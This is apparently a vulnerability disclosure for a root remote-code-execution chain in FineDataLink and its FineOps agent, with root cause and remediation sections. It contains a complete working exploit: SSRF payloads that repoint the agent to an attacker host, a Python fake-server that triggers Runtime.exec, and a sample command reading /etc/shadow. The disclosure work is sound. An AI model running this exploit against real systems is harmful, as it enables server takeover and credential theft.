| Mô tả | SUMMARY
Any user who can log in to FineDataLink - including a freshly created account with no
role and no department - can run arbitrary OS commands as root on the server, with no
administrator action, data connection or optional feature involved. Chain: (1) the
data-preview endpoint of the data-development module checks authentication but not
permission and can issue an arbitrary outbound HTTP request (SSRF); (2) the FineOps
operations agent (fine-process-agent) listens on 127.0.0.1:12100 only and protects its
unauthenticated control interface by requiring a loopback caller - the SSRF request
qualifies; (3) that interface lets the attacker repoint the agent to an attacker-run
server whose socket.io channel accepts a fully controlled Java class/method/argument
triple, invoked reflectively (ReflectUtils.reflectInvoke) => java.lang.Runtime.exec().
AFFECTED COMPONENTS/VERSIONS
- FineDataLink x.x.x.x (fdl-publish-x.x.x.x-20250327), Decision 11.0.32
com.fr.dp.devwork.work.interfaces.controller.DataDevDatasourceController
POST /webroot/decision/fdl/dev/datasource/preview (also /param/preview)
(jar fdl-cron-4.2.jar)
- FineOps operations agent (same component ships in several products of the bundle)
com.fanruan.ops.subprocess.crash.server.controller.ConnectController
POST http://127.0.0.1:12100/connect/connectops?opsUrl=...
FineDataLink container: plugin-com.fr.plugin.operation.v11-3.18.0 /
fine-process-agent-3.18.0.jar (MD5 43cf18333aee2c4aa57c335901a09cf1)
FineReport 11.5.1 container: fine-process-agent-3.24.0-lite.jar
(MD5 c10421e9d81d55c75f734f09d1922ffa), same structure.
- Runtime: Tomcat 9.0.98, OpenJDK 8u402, Debian 12; both ship in the FanRuan
enterprise deployment bundle (finekey / FineOps).
ROOT CAUSE
1. DataDevDatasourceController#getPreviewData (POST /fdl/dev/datasource/preview,
jar fdl-cron-4.2.jar) carries only @LoginStatusChecker - no authority annotation
(sibling endpoints carry @ConnectionAuthorityEntry). Permissions are enforced by
annotation-driven aspects (@Pointcut("@annotation(...)")), so an unannotated method
is never checked. The body is a data-flow graph; a DATA_FLOW node containing an
"API_READ" node is accepted and its requestConf.url is attacker controlled
(ApiReadNode -> ApiPreviewExecutor -> FDLHttpToolbox.doRequest ->
ConfigTransferUtil.transfer() -> httpRequest.setUrl(url).setMethod().setHeaders()
.setBody()); the response body is returned.
2. The agent's ConnectController has no auth annotation and the login interceptor
excludes /connect/** (FineOperationServerConfiguration). The only check is
ConnectHandler: if (!WebUtils.isLocalHost(request) && !ignoreUrls.contains(mapping)).
As the SSRF runs inside the FineDataLink JVM the source is loopback, so it passes.
POST /connect/connectops?opsUrl=... makes AgentConnector dial the attacker as
<opsUrl without "/decision">/subprocess, Engine.IO path "<contextPath>/websocket"
(engine.io 3 / socket.io 2, namespace /subprocess).
3. SocketRemoteCallListener registers socket.on("CALL") -> ReflectUtils.reflectInvoke(
RpcRequestEntity): Class.forName(className), optional static getObjectMethod, then
method.invoke(instance, params) - no allow-list. The same socket has a "DOWNLOAD"
event (RpcFileService.downloadFile) = arbitrary file read on the agent host.
REPRODUCTION (complete; Python 3 standard library only; executed as-is)
Prerequisite: a running FineDataLink instance (agent on 127.0.0.1:12100) and an
attacker host reachable from it.
Step 1 - create a no-privilege account (roleIds=[], departmentPostIds=[]; password is
AES(password, frontSeed) base64 for POST /v10/user) and log in:
TOK=$(curl -s "http://TARGET:PORT/webroot/decision/login/cross/domain?fine_username=low3&fine_password=Low3pass123&validity=-1&callback=cb" | sed -n 's/.*"accessToken":"\([^"]*\)".*/\1/p')
Step 2 - SSRF: repoint the agent to the attacker host (run twice - decoy URL, then the
real one - to force the switch).
URL="http://127.0.0.1:12100/connect/connectops?opsUrl=http://attacker.example.com:18080/x/decision"
cat > /tmp/p.json <<EOF
{"node":{"type":"DATA_FLOW","value":{"id":"wf1","name":"wf","executeLogic":"AND",
"disabled":false,"notes":[],"lines":[],
"nodes":[{"x":1,"y":1,"nodeType":"API_READ","nodeContent":{
"id":"n1","name":"n1","type":"API_READ","fromDatasourceType":"restapi",
"requestConf":{"url":"$URL","requestMethod":"POST",
"authorization":{"authMethod":"NONE"},"headers":[],
"body":{"type":"TEXT","bodyContent":{"type":"STRING","content":""}},
"sslConf":{"open":false},"seniorConf":{}},
"responseConf":{}}]}},
"paramEntity":{"workParams":[],"nodeParams":[]},
"previewOptions":{"previewType":"INPUT_DATA_PREVIEW","chosenNodeId":"n1","previewIndex":0}}
EOF
curl -s -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' -X POST \
"http://TARGET:PORT/webroot/decision/fdl/dev/datasource/preview" -d @/tmp/p.json
Step 3 - fake operations server on the attacker host, port 18080 (run it, then re-run
step 2; it emits CALL as soon as the agent connects). File fake_ops.py:
#!/usr/bin/env python3
import socket,threading,base64,hashlib,struct,json
G=b"258EAFA5-E914-47DA-95CA-C5AB0DC85B11"; NS="/subprocess"
CMD="sh -c id>/tmp/vuldb_poc.txt"
def rd(c,n):
b=b""
while len(b)<n:
d=c.recv(n-len(b))
if not d: raise EOFError
b+=d
return b
def send(c,s):
b=s.encode(); n=len(b)
h=b"\x81"+(bytes([n]) if n<126 else bytes([126])+struct.pack(">H",n) if n<65536 else bytes([127])+struct.pack(">Q",n))
c.sendall(h+b)
def recv(c):
h=rd(c,2); m=h[1]&128; n=h[1]&127
if n==126: n=struct.unpack(">H",rd(c,2))[0]
elif n==127: n=struct.unpack(">Q",rd(c,8))[0]
k=rd(c,4) if m else None; p=rd(c,n) if n else b""
return bytes(p[i]^k[i%4] for i in range(len(p))) if k else p
def handle(c):
try:
d=b""
while b"\r\n\r\n" not in d: d+=c.recv(4096)
k=[l.split(":",1)[1].strip() for l in d.decode("latin1").split("\r\n") if l.lower().startswith("sec-websocket-key")][0].encode()
a=base64.b64encode(hashlib.sha1(k+G).digest()).decode()
c.sendall(("HTTP/1.1 101 Switching Protocols\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Accept: %s\r\n\r\n"%a).encode())
send(c,'0{"sid":"x","upgrades":[],"pingInterval":25000,"pingTimeout":60000}')
while 1:
s=recv(c).decode("latin1")
if s[:1]=="2": send(c,"3")
elif s[:2]=="40":
send(c,'40%s,{"sid":"x"}'%NS)
send(c,"42%s,%s"%(NS,json.dumps(["CALL",{"className":"java.lang.Runtime","getObjectMethod":"getRuntime","methodName":"exec","paramClassNames":["java.lang.String"],"params":[CMD]}])))
except Exception: pass
c.close()
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1); s.bind(("x.x.x.x",18080)); s.listen(10)
while 1:
c,_=s.accept(); threading.Thread(target=handle,args=(c,),daemon=True).start()
Step 4 - verify on the target (wait ~10 s after step 2):
# cat /tmp/vuldb_poc.txt -> uid=0(root) gid=0(root) groups=0(root)
TROUBLESHOOTING (where a reproducer normally fails)
- opsUrl MUST look like "http://attacker:18080/x/decision": AgentConnector computes
socketUrl = opsUrl up to its last "/" + "/subprocess"; a bare "http://host:port"
makes the host literally "subprocess" ("UnknownHostException: subprocess").
- The preview JSON needs authorization/headers/body/sslConf/seniorConf or
ConfigTransferUtil throws NullPointerException; bodyContent needs the nested
discriminator {"type":"STRING"}.
- Runtime.exec(String) splits on whitespace: use a script without spaces or escape
them as ${IFS}, e.g. "sh -c cat${IFS}/etc/shadow>/tmp/o".
- Call /connect/connectops twice (decoy, then real); allow ~10 s.
IMPACT
- RCE as root for any authenticated user, whatever roles/permissions are assigned.
- Arbitrary file read on the agent host (socket.io "DOWNLOAD" event).
- /connect/stop, /connect/restart and /connect/config/signKey/update are equally
unauthenticated (DoS / agent takeover).
- The loopback-bound agent means SSRF defeats network segmentation; the same preview
endpoint also reads internal HTTP response bodies.
REMEDIATION
1. Permission check on /fdl/dev/datasource/preview and /param/preview.
2. SSRF protection for node-issued requests (deny loopback/private/link-local/
metadata; validate the resolved IP).
3. Require strong authentication on /connect/** and forbid changing the agent's
operations-server address there.
4. Remove the reflective "CALL" primitive or allow-list a fixed command set excluding
java.lang.Runtime; run the agent as an unprivileged user.
NOTES
Reported by Yu Deshui (DHwork security research); all testing was performed against a
self-hosted isolated lab instance of the vendor's own product.
|
|---|